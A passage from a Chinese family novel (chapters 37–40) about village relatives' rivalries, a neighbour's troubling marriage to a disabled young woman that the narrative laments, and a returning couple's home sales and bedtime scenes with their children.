“我听老三媳妇说,她按照小夏的尺码给丹洁选的衣服,竟然还大吗?”王海燕说着暗自撇嘴。 心说:当个小学老师,每个月领几百块钱工资而已,看她狂的,给孩子买衣服还敢买正码了,真是有钱烧得慌。 叶菁不太相信:“是吗?我家丹洁比小夏还大一岁,弟妹怎么给小夏也买那么大的衣服,能多穿几年省钱是省钱了,可孩子穿着不舒服吧?” 王海燕觉得她这话有点别扭,可又说不出来是哪里别扭,只好有什么说什么:“那小夏穿着刚好。” “不是吧,我看丹洁比小夏高一点呢。” 叶菁不太高兴,这不是说她女儿还比不过小一岁的堂妹? 王海燕也跟她杠上了,虽说养小叔子家的孩子没花她家的钱,可这一年她也帮着看过孩子,她认为小夏长得好也有自己的一份功劳在上面。 “两个孩子在外面玩滑板呢,叫她们进来比比看不就知道了。” 叶菁也非要挣这一口气,还真把两个孩子叫进来了。 赵如月抱着一包衣服出来的时候,两个小姑娘脱了鞋,正背对着背比身高。 王海燕咯咯咯地笑得眼睛都眯成了一条缝。 她看到赵如月,还把赵如月叫过来一起看。 语气夸张地大声说:“哎呀,你看看,不贴在一起的时候还好,两个孩子看起来身高体型都差不多,这一贴在一起看,才看得出小夏竟然比丹洁还高一寸,身上的肉看起来也更结实。” 宁丹洁被她夸张的语气说得,以为自己犯了什么错,不知所措地低下了头。 宁时夏看看这个又看看那个,不知道大人们在玩什么,为什么非要她们比高,只是敏锐地察觉到二姐好像因为大伯娘的话不开心了。 “我的脚要被冻成萝卜脚了!”宁时夏蹦跶着挣开大伯娘拽着自己的手,一手拿起鞋子,一手拉着二姐就跑,“二姐我们不跟她们玩了,上隔壁小卖部看电视去!” 可以离开这里,让宁丹洁狠狠松了一口气,穿着袜子跟妹妹一起跑到门口,才想起来自己没穿鞋,转身回去把自己的鞋拿上,跟在妹妹身后跑了。 堂屋里,王海燕还在振振有词地跟叶菁说:“你们平时劝孩子多吃点饭,别总惯着孩子挑食,小夏一顿能吃两碗饭,肉和菜也能吃不少,孩子吃得多养起来是有点费钱,可吃得多才能长身体。” 叶菁心说:费钱也不是费你的钱,孩子也不是你养的,你得意什么? 她脸上带着笑,语气却十分敷衍,嗯嗯地点头应了几声,想岔开话题,于是看向抱着一包东西要出门的赵如月。 “三弟妹,你拿的这一大包东西都是什么?要扔掉还是给人送去?” 赵如月低头看了一眼:“收拾房间整理出来一些小夏穿不下的衣服,想给对门我族弟的女儿送去。” 她顿了顿又有些不好意思地问:“二嫂,里面有一些是妈从你那里拿回来的衣服,丹洁和小夏穿着都不合适了,我拿去送人,你应该不介意吧?” 叶菁怀疑赵如月是故意的,这是拐着弯地嫌弃婆婆从自己家,给她女儿拿了不合适的衣服。 可这个三弟妹又一脸看起来特别真诚的表情,让她捉摸不透。 这事叶菁也知道是自己理亏,之前婆婆去她那儿帮忙带丹萍的时候,带着给小秋和小夏买衣服的钱,想顺便在县城给两个孩子买衣服。 正好他们夫妻俩遇上点事急用钱,就跟婆婆商量着,挪用了一点两个孩子买衣服的钱。 让婆婆带着丹洁穿不下的衣服回来,给小夏穿,先应应急。 她以为丹萍比小夏大一岁,丹萍的衣服小夏肯定能穿得下,谁知道小夏长得那么快。 那些钱目前还没还给婆婆,叶菁现在也不好在弟妹面前多说什么。 只能维持着笑脸,作出大度的样子说:“这有什么好介意的,既然家里孩子都穿不下,该送人就送人,有人愿意要也不用浪费了这些好衣服,当初买的时候也不便宜呢。” 赵如月点头:“我也是这么想的,那我先送过去了。” 她带着衣服走到对门的族弟家,一走进去,被酒味熏得忍不住捂住口鼻。 堂屋没人,赵如月听到里面好几个男人猜拳劝酒的声音,猜测他们大概在厨房喝,一点也不想往里走了。 她站在门口喊:“鸿利,冬兰在家吗?” 喊了几次,族弟赵鸿利才醉醺醺地出来:“姐,是你啊,你找她有事?” “我拿点衣服给思葵,冬兰不在家?” 赵鸿利皱着眉:“不知道她跑哪里去了,成天不着家,等她回来我非得说她一顿……” “得了吧,”赵如月毫不客气地打断他的话,“你还好意思说人家冬兰,成天喝得醉醺醺,她不嫌弃你,你就偷着乐吧!” 赵鸿利被说也没生气,挠着头说道:“要不我先拿进去放,等她回来我再跟她说一声。” “你懂个屁,给你处理,等你喝醉了一迷糊,还不知道给我扔哪里去,我去隔壁看看冬兰在不在。” 赵鸿利点头:“行,那我先进去了。” 赵如月嫌弃地挥挥手,往隔壁赵鸿利他哥家去了。 赵鸿利媳妇也没在这儿,倒是他两个女儿都在。 他大嫂许萍告诉赵如月:“冬兰她娘家妈又病了,入冬就病了好几次,说是受不得冷,她回去照顾了好几天,他家两个孩子这几天都跟着我,我那个小叔子,成天喝得醉醺醺的,丈母娘生病都不去露个面,留在家里孩子也不管,可真是……” 她话说一半,注意到两个小姑娘还在,没再继续往下说。 赵如月也没接那个话,她拿出一件衣服递过去:“刚好孩子在这儿,这些衣服,小夏穿着都短了,思葵就比小夏小几个月,不知道她能不能穿,要是能穿就留下,不能穿,我再去问问有谁要。” 许萍高兴地接过衣服:“能穿能穿,肯定能穿,思葵比小夏矮一个头,保不齐能穿好几年,这些衣服看起来还很新呢,今年思葵过年也算有新衣服穿了,真是太谢谢你了!” 赵如月:“你们愿意要,我也不用再到处找人送出去,给我省事了。” 在许萍家聊了几句,吃了几颗烤花生,赵如月起身回家。 今天小年,晚饭吃得早,吃过饭,天还没暗,她娘家人就来帮忙分拣货。 几个人边聊天边干活,时间过得还挺快。 赵如月再次注意到外面时,天都黑了。 她起身正准备把门掩上挡挡夜风,却见一个人急匆匆往这边走。 人走近了,赵如月才发现竟然是她大姐:“姐,你怎么来了?天宝睡了?” 赵如艳一把将她拽进屋,把几个孩子赶出去玩。 然后关上门,压低声音,说了个让所有人震惊的消息。 第38章 赵如艳眼里闪着八卦的光,兴奋地说:“我公公兄弟家那个娶媳妇儿老大难的老光棍儿子,要有老婆了!” 她这话一说出来,连在堂屋的另一角,教女儿写寒假作业,不想过来帮忙拣货的叶菁都凑了过来,装作要帮忙的样子,竖起耳朵听。 赵如月想了好一会儿才想起来大姐说的是谁:“住在我家右边,隔了几户的同街邻居?” “除了他,还能有谁?”赵如艳一脸嫌弃,“成天好吃懒做,穷得叮当响,听你大姐夫说,这就是遗传的,他这个堂弟的爸也是这样! 你们没见着么,除了他家,整条街的人家全在我们爸妈那一辈,建起了砖墙瓦房,现在到我们这一代,有钱的人家又要起两三层的楼房,预备着孩子以后娶媳妇儿了。 只有他家,现在还是泥墙瓦房,他们家那个堂屋,不是我说,连你们家后院的厕所都不如!” 赵如月忍不住笑出声:“还真别说,我们家后院那厕所,是以前挖沼气池的时候,小秋特地要求他爸把旱厕给填了,重新用砖瓦建的不漏雨的厕所,还用水泥铺了地板、刮了墙面,那地板比堂屋的都光滑。” 宁绍明一想到这事,也忍不住笑出来:“那时小秋还说,不把厕所建好点,他以后就不拉粑……” “爸!!”宁时秋扑过来捂住他爸的嘴,“不许说!” 宁绍明的话虽然没能说完,但大家都听懂了,纷纷大笑起来,一时间堂屋里回荡着众人愉悦的笑声。 直到王海燕疑惑地问赵如艳:“你老公家那个堂弟,说的是镇上哪条街哪户人家的闺女?我记得以前我们村早年间嫁到街上的一个大娘,早些年给他介绍过好几个我娘家村子里的姑娘,他还嫌弃人家是村里的乡下人,不乐意娶,这回真娶到镇上的了?” 王海燕非常想问镇上谁家那么瞎,竟然愿意让自家闺女嫁给砖瓦房都建不起来的人家。 但是看在那男的是赵如艳婆家人的份上,她就没把话说得那么难听。 王海燕知道那男的看不起她们村里姑娘这事之后,即使住在同一条街上,两家只隔着几户,也不再跟那男的一家来往了。 她娘家村子到镇上,走路也才半个小时的路程,跟镇上能有多大差距? 镇上不也是乡下么,大家都是乡下人,还要分个三六九等,谁还比谁更高贵了? “不是镇上的,他都四十岁了,长得又老又不好看,家里更是穷得很,镇上的人知根知底,谁愿意把女儿嫁给他?人家三婚的都看不上他!”赵如艳对丈夫的那个堂弟也是十分不屑。 紧接着,她说出了那个令所有人震惊的消息:“他娶的是家离这里很远的一个傻闺女!听说才二十来岁,要不是脑子不正常,也不可能嫁给他!” “!!!!!!”堂屋里的其他人都惊得说不出话来。 半晌,才有人弱弱地说道:“怎么落到要娶个脑子有问题的地步了?”以前还嫌弃人家村里的姑娘呢! 赵如月这才想起,上辈子大姐夫的这个堂弟,确实娶了个脑子不太正常的傻姑娘。 只是那姑娘生下女儿几年后,就得病死了,她去世得早,没人提醒赵如月真想不起来,街上还有过这么一个人。 那个姑娘长得不错,最主要是皮肤很白很细腻,看着不太像乡下人。 可是她娘家人说,他们家也是离城镇很远的、山里的村子。 赵如月上辈子曾经见过,那个可怜的姑娘在脏脏的池塘里洗衣服,还有她被经血染红的底裤,有时候还会去在那里擦洗身子。 她才知道,那个男的别说卫生巾,连月事带都不给她弄几条。 她悄悄回家给她拿了一包卫生巾,又把这事告诉了大姐。 后来听大姐说,姐夫那个堂弟的亲哥的老婆以后会给她买卫生巾,赵如月自己后来忙着养孩子,自顾不暇,就没再关注过她。 再听到消息的时候,已经是她的死讯,说是得病死了。 赵如月忍不住问:“那姑娘的娘家人,真是她亲人吗?” “肯定是啊,”赵如艳笃定地说,“天没黑的时候,我得到消息,抱着天宝去看过,那姑娘跟她妈长得挺像。” “没见着她家户口本?” 赵如艳摇头:“没有。” 赵如月心里一咯噔:“没有户口本怎么领证?不怕遇到骗子?” “我们乡下结婚,办个酒席就行,等生了孩子,给孩子上户口的时候,可以再给点钱,把她户口一起加上。”赵如艳对此习以为常。 她比赵如月大十岁,身边很多同龄人结婚的时候,大多也是先办酒席,后面才补的结婚证。 甚至现在也有不少没到领证年龄的年轻人,也是这么办。 赵如艳还觉得她三妹谈恋爱的时候,电影看多了,瞎讲究,非要等二十岁到法定结婚年龄,可以领证才办酒。 说什么仪式感,在赵如艳看来就是屁事多,结婚晚多耽误要孩子! 也就是她三妹运气比较好,先得了个儿子,后面又得个女儿,一下子‘好’字凑齐,儿女双全了,不用糟那么多罪。 不像自己,三十多快四十才得个儿子。 赵如月还想说些什么,却不知道能说什么。 最后只能无奈叹了口气,说了一句:“真是造孽。” 男人造孽,当父母的也造孽。 可这种事警察都没法管,外人除了唏嘘几句,还能怎样? 赵如艳不知道她在惆怅什么,赶着说道:“天宝睡着了,我才抓紧时间来的,得抓紧时间回去,对了小月,你和绍明往后三天都在家吧?” 赵如月说:“不一定,得看看情况,我们第一次卖货,卖得快还是慢,不好估计。” 其实她估摸着,如果卖货的速度还跟今早一样,明天……最多后天,那些货差不多可以全部清掉。 卖完也快到除夕了,她跟宁绍明回来前就计划好,趁着年前有空,带两个孩子去县城,让他们尽情地玩一回。 这事赵如月并不打算跟大姐说,要不她又得说他们两口子带孩子去玩,是有钱烧得慌。 “那边明天就办喜酒,我作为同族的堂嫂,也要去帮忙,我本来还想着,你家离他家近,让小梅和小菊带着天宝待在你这里,我抽空过来看孩子也方便,不过你们要是忙着卖货顾不上就算了。” 邓细妹悄悄瞪一眼大女儿,她哪能不知道大女儿的心思。 不就是觉得妹妹妹夫刚从外地回来,还给娘家婆家和两个孩子买了那么多好东西,自己家里好吃的肯定不会少。 她家三个孩子来妹妹这里,妹妹这个当姨妈的肯定不会亏待外甥外甥女们,想趁机蹭点好东西么! “我那里离得也不远,刚好我有空,让小梅和小菊把天宝带到我那里去吧,我帮你带几天。” 赵如艳面色为难:“妈,你不跟爸一起去集上卖菜了?” “我让思芸跟着你爸去,小梅和小菊去我那里,也能帮忙择菜,”邓细妹看向周小菊和周小梅姐妹俩,“明天带弟弟去外婆家帮忙,外婆让外公给你们买油馍吃。” 周小菊和周小梅高兴地猛点头,油馍她们也难得吃一回呢! “给自己亲外婆干点活,你们也好意思要东西?妈,你别惯着她们,”赵如艳不赞成地说,“油馍两毛五一个,买两个的钱,能在街上吃一碗有肉的米粉了。” 看两个外孙女羞愧地低头抠手指,邓细妹对女儿不耐烦了:“你少管,我的钱愿意给谁花就给谁花,孩子给我干活,我就乐意给她们买!赶紧回家照顾你儿子去,留在这儿不够烦人的!” “三妹,你看看妈,越老越不讲理了。”赵如艳拿老娘没办法,只好去三妹那里找认同。 赵如月其实也觉得她妈没错,可也不好火上浇油,只能在中间和稀泥,把谈兴正浓的大姐劝回家了。 来帮忙分拣货的人多,不到九点,货就分拣完了。 赵如月拿了罐奶粉和碗出来,烧水给每人泡了一碗:“干那么久的活,晚饭都消化光了,吃点东西再回去吧。” 这奶粉还是她做小月子的时候,房东和周家人来探望送的几罐。 她就吃完了一罐,剩下的全带回来了,这奶粉不分年龄段,老人小孩都能喝。 邓细妹本来想说自己不喝,让她把这么好的东西留给小秋和小夏喝,可她作为赵如月的亲妈都不喝,其他人更不好意思喝了。 她又看看瘦小的小梅和小菊,到底是心疼,只好把话咽了回去。 邓细妹接过女儿递过来的碗和几块饼干,按照她说的,把饼干泡在牛奶里再吃:“味道还真是比干吃好多了,也容易嚼。” 赵如月看到她满意,心里也很高兴。 她母亲为孩子忙碌一辈子,死前都在为她们姐妹忧心,没怎么享过福,她也希望自己母亲能多尝到些好吃的。 剩下半罐,赵如月强塞给她,让她带走:“我爸还没尝过呢,你带回去让他也尝尝,老人吃了对身体好,补钙。” 邓细妹本来坚决不要,还是赵如月给她看过,自己这里还有好几罐,她才收下了。 赵如月知道,奶粉带回去后,他们老两口肯定不会自己吃独食。 但她也不在意,能有一部分进他们嘴里也挺好了。 吃完东西,宁绍明把她们一一安全送到家。 回家就看到女儿在耍赖皮。 宁时夏洗完澡,赖在爸妈房间里不愿意走了。 眼睛闭得紧紧的,眼皮下眼珠子咕噜咕噜转,一看就知道在装睡。 宁时秋也是站在门口一步三回头,半天挪不出去一米远。 第39章 宁绍明本来就不介意他们兄妹俩留下一起睡,偏偏还要逗孩子。 把躲在床角落装睡的女儿往外扒拉:“小夏醒醒,该去睡觉了。” 说完又故作懊恼的样子自言自语:“忘了孩子睡着听不见,还是我抱着送到她奶奶房间去吧。” 宁时夏立刻睁开眼睛,一溜烟爬起来:“我醒了。” 宁绍明憋笑:“你醒了呀,那你跟哥哥一起自己走过去吧。” “我、我我,”宁时夏小脑袋疯狂运转,赶紧想出另一个借口,“我腿疼,走不动。” 宁绍明:“腿疼啊?腿疼可不能耽搁,要去卫生院打针才行。”他作势要穿外套,带她去医院。 怕打针的宁时夏要哭了:“我不要打针……” 宁绍明差点没忍住笑出声:“不想打针也可以,我跟你三外公学过一手,帮你检查一下,要是不严重就不用去打针了。” “真的吗?”三岁小朋友半信半疑。 宁绍明给老婆使了个眼神,赵如月心领神会。 也跟着一本正经逗女儿:“当然是真的,等会儿我给你当助手。” “那你过来,我跟你说说,怎么给我当助手。”宁绍明故意跟赵如月躲到一边,说女儿也能听到的悄悄话,“拍拍左脚,右手就抬起来,拍拍右脚,左手就抬起来,能这样的人,说明腿疼不严重,不用去打针,等下我们轮流拍,多拍几次才能检查得准。” 宁时夏一听,这个简单,她前班小班的老师,早就教过怎么分左右手和左右脚啦。 自从学过后,她穿鞋就没再穿反过。 “小手拍拍,小手拍拍,拿筷子的是右手,端着碗的是左手;小手拍拍,小手拍拍,拿笔写字的是右手,压住纸张的是左手……”她还小小声地复习起来,生怕爸爸检查的时候,自己搞错被带去医院打针。 没挪出去多远的宁时秋,回头见到爸爸妈妈在憋笑,哪还不知道他们在逗妹妹。 他无奈地看向床里,笨蛋妹妹还当真了。 爸爸让她坐好,拍拍她的左脚,她歘地一下举起右手,拍拍右脚,又歘地一下举起左手,爸爸拍脚的速度加快,她举手的速度也加快。 那一双小手飞快倒腾上下摆动,就像一只在疯狂扒拉纱窗的小傻猫! 爸爸逗完,妈妈逗,把小傻猫累得都要吐着舌头喘气了。 哥哥看不过去,转身回来爬到床上点点她额头:“小笨蛋!” “我才不是笨蛋!哥哥才是大笨蛋!”宁时夏还觉得自己特机灵。 等爸爸妈妈检查完,认为她的腿虽然走不了路,但是也没疼到要去医院打针的地步,肯定就让她留下跟他们一起睡了。 妈妈香香的,她要挨着妈妈睡! 宁时秋算是看出来了,爸爸妈妈并不是真的想让他们去跟奶奶睡。 奶奶睡得早,要是真让他们去奶奶那里,奶奶早就来催他们了。 宁时秋不理笨蛋妹妹了,抱着一个枕头放到床中间:“我要睡中间。” 宁时夏急了,顾不上再应付爸爸妈妈的‘检查’扑过去:“我也要睡中间!” 趴在哪里好一会儿,才发现自己刚刚扑过来的时候,好像在床上爬了几下,假装说自己脚疼的事露馅儿了。 “嘿嘿……”她心虚地笑了笑,然后不好意思地偷瞄爸爸妈妈。 赵如月好笑地拍了拍闺女的小屁股:“你个小人精,不想跟奶奶睡,直接跟爸爸妈妈说不就好了,还装腿疼,你爸一看就看出来了。” 宁时夏惊讶地问:“爸爸妈妈同意呀?” “嗯,”赵如月温柔地给他们把被子盖好,“现在暂时同意你们跟我们睡,等以后建新房子,你们有了自己的房间,就要自己睡了。” 以后是什么时候? 宁时夏想不到,不过现在能跟爸爸妈妈一起睡,她就很开心了,以后的事以后发生了再说:“那现在妈妈睡我旁边,爸爸睡哥哥旁边,也可以吗?” 赵如月看着女儿亮晶晶的眼神,终于感受到年幼时的女儿原来这么喜欢自己的真实感:“当然可以。” “好耶!”宁时夏欢呼一声,扑进妈妈怀里,“我要抱着妈妈睡!” 宁时秋倒是听懂了赵如月的话:“妈妈,我们家有钱建新房子了吗?分家后,我们是不是不能住在这里了?” 赵如月有些担心时间不对,孩子们舍不得这里:“小秋喜欢现在住的地方?” 宁时秋说不上现在的自己喜不喜欢。 以前爸爸妈妈还经常在家的时候,他觉得在家里很开心,如果妈妈那时候问,他肯定说喜欢。 可是爸爸妈妈去鹏城后,他就住着不太开心了,总觉得这不算自己的家。 大伯娘跟人聊天时,提起分家的事,总是开玩笑说,按照规矩,家里老宅分成的两个小院子,一个是大伯的,一个是二伯的,还说这里不是他家,他家现在是个空地。 虽然过后大人们又说,那些话都是开玩笑而已,可他还是觉得不高兴,不高兴也不能表现出来。 因为第一次听到那些话,他表现出来不高兴,被人说了小心眼,开不起玩笑。 他们好像很喜欢看到他为这个生气的样子,然后一群大人哈哈大笑。 所有他有时候宁愿去外婆家住,在外婆家不会有人跟他说这些。 “妈妈,我们家现在还是空地吗?”宁时秋问。 赵如月跟宁绍明对视一眼,他们从来没在孩子面前说过这个,老人也不会乱说,那么是谁说的,不难猜。 她正想趁着说到这个话题,问问两个孩子对空宅基地的看法。 却不想,宁绍明先她一步问了出来:“小秋和小夏知道家里有一块建房的空地啊?” 两个孩子都点头。 宁时夏说:“哥哥带我去看过,大伯娘说我们家在那里。” 宁时秋都想不到妹妹会这么说,大伯娘说这些话不能跟爸爸妈妈说的。 不过没阻止住她,说都说了,他也没办法,只好跟着说:“对,我们去看过,我觉得那块地挺大的,比我们现在住的地方跟隔壁鑫阳哥家加起来都大。” “当初你们爷爷奶奶申请宅基地,又特地买了宅基地旁边一块地,凑的那么大面积。”赵如月大概知道公婆的想法。 他们认为自己上了年纪,以后没能力再建一个院子给儿子,只能在儿子建房的时候,出一部分钱。 剩下的一部分,得分到这个宅基地的儿子自己想办法。 所以就把面积搞得大点,也算是补偿,即使这样,不管谁分到这里都算是吃亏了。 那片地方镇上人非但不稀罕还很嫌弃,所以当年买那里的地很便宜,增加的面积,跟建房的花费没法比。 宁时夏本来窝在妈妈怀里都快睡着了,又兴奋起来:“妈妈,我喜欢那里,我们家没钱可以盖个棚子住,等我长大挣了钱,就可以给家里盖房子。” 宁时秋也赞成妹妹的话:“对,像修公路的那些叔叔一样的棚子,也可以住人,等我以后有钱,也给家里盖房子。” “哥哥一个,我一个,像现在跟爷爷奶奶一起住的房子一样,黏在一起,你们想住哪里就住哪里!” 赵如月摸摸女儿的脑袋,心想:自己闺女算不算是网友说的那种,没被规训过的女孩?她认为自己和哥哥,就跟大伯二伯和爸爸一样,所以家里的房子也应该一样,一人一个,完全没有女孩子长大后要嫁出去的意识。 她又问:“别人都有砖瓦房住,你们住棚子不觉得委屈呀?” 两个孩子异口同声:“能跟爸爸妈妈一起,不委屈!” 宁绍明听了感动得不行,觉得自家孩子就是好,又乖巧又懂事,还不爱攀比,也不会跟父母要这要那的。 他完全选择性忘记,前不久孩子才要了滑板和自行车。 赵如月也很感慨,这就是她的孩子,单纯、可爱,满心就想跟爸爸妈妈在一起,只要有足够的爱,即使家庭条件不好,全家一起吃糠咽菜,他们也不会嫌弃。 “家里的房子,爸爸妈妈有钱盖,可以给你们一人盖一个,你们的钱,留着以后在城里买。”赵如月说完看向宁绍明。 她上辈子因为所谓的规矩和传统,观念跟不上时代,踩过一次坑,摔得那叫一个头破血流,同样的错她不会再犯。 宁绍明愣了一下,转而又笑着点头:“对,爸爸有钱,盖得起两个。” 镇上没人给女儿准备房子又怎样。 他凭自己本事盖起来两个院子,想给就给! 宁时夏跟爸爸妈妈一起睡,美得半夜做梦都咯咯笑出声。 第二天被吵醒的宁时秋跟她说起来,她还不承认。 两个孩子吃过早饭,叽叽喳喳斗着嘴,带着玩具一起跑出去找小伙伴玩了。 赵如月和宁绍明早饭吃到一半,就忙着给一大早就来挑货的人找东西,只来得及给他们兜里一人塞了五毛零花钱。 叮嘱一句:“你们中午要是饿了,回来发现我们都没空,就自己去表舅家的店买碗米粉吃,知道了吗?” 两个孩子大声应一句:“知道啦!”话音刚落,人已经跑远。 生意出乎意料的好,来买的人里,有昨天散场才得到消息,没能买到的人。 还有买到便宜实惠的好东西,又跑去跟亲朋好友说的人,又跟亲朋好友们一起来的人。 昨天买了袜子,今天又来买围巾、丝巾或者手套。 男款不多,赵如月给宁绍明留了一份,剩下的很快就卖完了。 来晚没赶上的懊恼不已,可实在没有货。 来晚的一个小媳妇儿无奈地说:“看来只能多买一双手套,回去糊弄一下我家那个了。” 另一个也没买到男款围巾正发愁的,高兴地拍了一下大腿:“你这主意好!要不我自己又买丝巾又买围巾的,回去肯定要被我家那个阴阳几句,嫌我光顾着给自己买,不惦记着他。” 从大袋子里往外拿东西的宁绍明动作一顿,抱着东西凑到赵如月身边,悄声问:“你以前是不是也这么糊弄我来着?” 第40章 “额……咳咳。” 糟糕,被发现了。 赵如月灵机一闪:“你在我心里跟别家男人又不一样,我哪有糊弄你的必要呀?” 宁绍明恍然大悟:“是啊!”自己确实跟别的男人不一样,完全不会在这种事上斤斤计较。 而且老婆不给他买东西的时候,他也没生气过,老婆确实没有糊弄他的必要。 宁绍明认真想了想,以前她给自己买的东西,也没有不好的。 更别说在疼媳妇儿这方面,街上的男人貌似也没有谁能比得过他? 被老婆三言两语哄好的宁绍明,得意洋洋地沉浸在自己是老婆心里独特的存在、是大桥街和小桥街唯一好老公的情绪中,又麻溜忙活去了。 到了中午,墙上的老挂钟铛铛铛地响了好几下。 买了东西留在这里聊天的人终于反应过来:“哎呀,十二点了,家里小崽子肯定饿了,我得赶紧回去做饭去,不跟你们聊了。” 好些人离开,堂屋里终于不显得那么拥挤。 虽然还是有人陆陆续续地来,但是来的人比早上少很多,赵如月和宁绍明两人终于能轮流歇一会儿。 宁绍明起身去厨房,看看有什么吃的,要是没吃的,他还得现做,赵如月留在堂屋继续招呼买东西的人。 叶菁带着女儿从外面回来,见是宁绍明去做饭,瞟了角落里坐在火盆边烤火嗑瓜子的大嫂一眼。 见大嫂眼睛都没抬一下,也没偷偷跟身边聊天的人说三弟妹闲话,觉得很惊奇。 昨天大嫂悄悄跟自己说三弟妹,认为她不该让三弟干那些女人干的活,今天三弟去做饭,她怎么不吭声了? 叶菁干脆拐着弯自己问:“哟,今天中午是老三做饭啊?听妈说老三在酒店跟人学了手艺,我们今天有口福了!” 赵如月要招呼来买东西的人,转头对她笑了笑,没说话。 王海燕倒觉得奇怪:“老三做饭你怎么那么惊讶?老二在家不做饭啊?我们家那个别看成天喜欢出去溜达,跟那些朋友瞎混,哪天他要是刚好在家,做饭也勤快得很!” 叶菁和宁绍德结婚后很少回来,有孩子后更不爱回了。 她不喜欢自己女儿跟乡下这些野惯了的孩子乱跑。 周末和寒暑假即使回来,除非过年过节必须回婆家,不然也更爱待在自己娘家,让自己女儿跟娘家同样有公职的哥哥姐姐家的女儿一起玩。 她还真不知道那个爱瞎混的大伯哥在家竟然也做饭,还以为自己丈夫是家里唯一一颗好笋。 叶菁尴尬地笑笑:“我家那个,在家有空当然也会做饭。” 王海燕:“我就说嘛,老宁家男人在家就没有不愿意做饭的,你们嫁进来晚,没见过太公,我是见过的,再往前的长辈,我也没见过不好乱说,但打从太公那一辈起,老宁家男人在家都做饭!” 她回娘家跟娘家几个姐妹比起来,最得意的就是这个。 “是嘛,那我们这些女人可真是享福了。”叶菁没得到自己想听到的话,随便敷衍一句,又说要给女儿洗手,带着女儿往天井那边走了。 堂屋里听到她们对话的人多数是老邻居,老宁家男人在家会做饭这事,听王海燕夸过几百遍了。 她们直接无视那些话,反而更关注宁家老三在鹏城的酒店学了手艺这事:“宁老三学的什么手艺?” “还能是什么?”王海燕觉得问这话的人,就是个榆木脑袋,“酒店卖饭的,肯定是学的做饭手艺啊!” 问话那人撇嘴:“做饭还用学?我看看都会做!” 王海燕吃饭的时候,跟家里其他人一起仔细问过宁绍明都学的什么。 还拉着家里人一起鼓动宁绍明露了一手,她一个连县城都没去过几次的人,见到宁绍明用萝卜雕花,被深深被震撼了。 自觉见过世面,这会儿她用看土鳖的眼神看问话那人:“你可拉倒吧!就你那三脚猫的手艺,做出来的饭,拿出去卖人家愿意买吗?” 那人挠头:“也是哈,我会做的大家都会,拿出去卖肯定没人买。” 王海燕辩倒了别人,一脸得意:“老三学的那手艺,能把萝卜雕成一朵花,就跟电视上一样!我还是第一次在现实里看见萝卜雕的花,以前我还以为电视上的是假的呢,没想到萝卜真的能雕成花!” 她站起身,兴奋地说:“你们等着,我昨晚把那朵萝卜花收起来了,没让家里几个小的拿去玩,我这就拿出来给你们看!” 天气冷,她把萝卜花放碗里,又放了点水,现在拿出来那朵萝卜花看起来依旧水灵。 堂屋里剩下的人围着萝卜花啧啧称奇,轮流摸了摸,又闻闻味道:“是萝卜味儿,还真是萝卜做的!” “这个在酒店里卖得很贵吧?” 王海燕:“不知道啊,我没问。”她昨天见到的时候,也光顾着惊叹了。 有人觉得能把萝卜雕成花很厉害,也有人觉得萝卜雕成花也还是萝卜:“这萝卜变个样子,吃进嘴里,不也是萝卜的味道吗?谁会花大价钱买?那不成冤大头了!” 另一个也是外地打工回来过年的邻居说:“有钱人呗!你没出去过不知道,在外面,有钱人吃一顿饭能吃掉几百块钱,有的甚至上千!我一个月工资,人家一顿饭就吃没了!” 好几个人倒吸一口气:“吃什么那么贵?龙肉啊?” “我们去肉摊上,买一斤肉才几块钱,别人酒店,进货一斤也是几块钱,做成菜,再整点花样,雕个花摆个盘,能卖几十、甚至上百块钱一盘!” 有人好奇地问赵如月:“你们家宁老三会这手艺,一个月能挣不少钱吧?” 赵如月好笑地回她:“那酒店又不是我们家开的,挣钱的都是老板,我们家那口子,也就挣个打工的钱,一个月能有一千多就不错了。” “打工也跟打工不一样啊,你家宁老三有手艺,应该也能当师傅了,怎么也能比普通打工的多挣点,你们过完年回去上班,能不能带……” “妈!” 那人话没说完,宁时秋提溜着两袋东西噔噔噔进来大喊了一声,把话打断了。 赵如月打开儿子手里的袋子,发现是一袋大概两斤重的米粉,另一袋竟然是肉:“这米粉和肉是你大姑给的吧?” 宁时秋摇摇头又点点头:“米粉是我和妹妹用你们早上给的零花钱买的,肉是大姑给的,大姑说晚点等她有空还拿肉来,给爷爷奶奶做腊肠过年吃。” 赵如月给儿子擦了擦他额头大冷天都跑出来的汗:“你们怎么不在街上吃过午饭再回来?” 宁时秋掰着指头给妈妈算:“街上一碗米粉给二两,再加一点葱花和肉末就要五毛钱,我去批发米粉那里只买米粉,一块钱就能买两斤,葱花我们家里有,肉昨晚也有剩的,回来自己煮,两斤够全家吃,多划算!” 赵如月还没说什么,邻居先夸起来:“你这儿子可不得了,小小年纪就这么会过日子了,以后肯定孝顺!” 赵如月:“两个孩子懂事,也是心疼我跟他爸挣钱辛苦。” 宁时秋被夸得耳朵都红了,爸爸妈妈回来两天,他被人夸的次数,比他们不在的这一年时间里还多。 以前爱说怪话的大人,现在也不会表面上好像在夸他,说的那些话却听起来却怪怪的了。 他有点不好意思,把东西塞给妈妈就要跑。 赵如月在后面追着问:“你妹妹怎么没一起回来,留在你大姑那里玩了?” 宁时秋停下脚步,转头回答:“没有,大姑这几天生意好,忙着呢,没空管我们,妹妹跟爷爷去码头附近的海街找人下象棋去了,爷爷说十二点半就带妹妹回来。” “快到十二点半了,你骑行车去接你妹妹吧,海街离这边远,她年纪小,走到半路肯定走不动了。” 王海燕插话:“用不着小秋去,三弟妹你看着吧,爸一准能准时把小夏带回来,小秋,你去厨房跟你爸说一声,别炒菜了,那些小青菜留着煮米粉,我去菜园里摘点葱,家里的葱昨天吃完了。” 赵如月看向儿子,见宁时秋点点头,她就没坚持让儿子骑车去接妹妹。 而同一时间,宁达跟老友杀完最后一盘赢了,在小孙女敬佩的眼神和赞美的话语中,给小孙女买了一个炸油馍。 宁时夏把装炸油馍的袋子口绑好,放进妈妈给自己买的小包里:“爷爷我带回去跟哥哥姐姐们一起吃。” 哥哥买了米粉,大姑给了肉,家里中午要做好吃的煮米粉。 一个油馍对她来说太大,吃完一整个,回家就吃不下米粉了,她炸油馍和煮米粉都想吃! 宁达欣慰地夸小孙女:“小夏真懂事。” 他也想再多买几个,给家里孙子孙女们一人分一个的,但老婆子每个月给的零花钱太少,现在他兜里只剩下一块多钱,有心无力。 因为他的烟丝快抽没了,再买炸油馍,他就没钱买卷烟丝。 老三给他买的好烟,他可舍不得抽,要留着过年跟亲戚们显摆的,思来想去,那点钱还是选择留着去买烟。 买完烟,宁达叮嘱小孙女:“炸油馍回去给你哥哥分就行,别让其他哥哥姐姐和你大伯娘知道,记住了吗?” 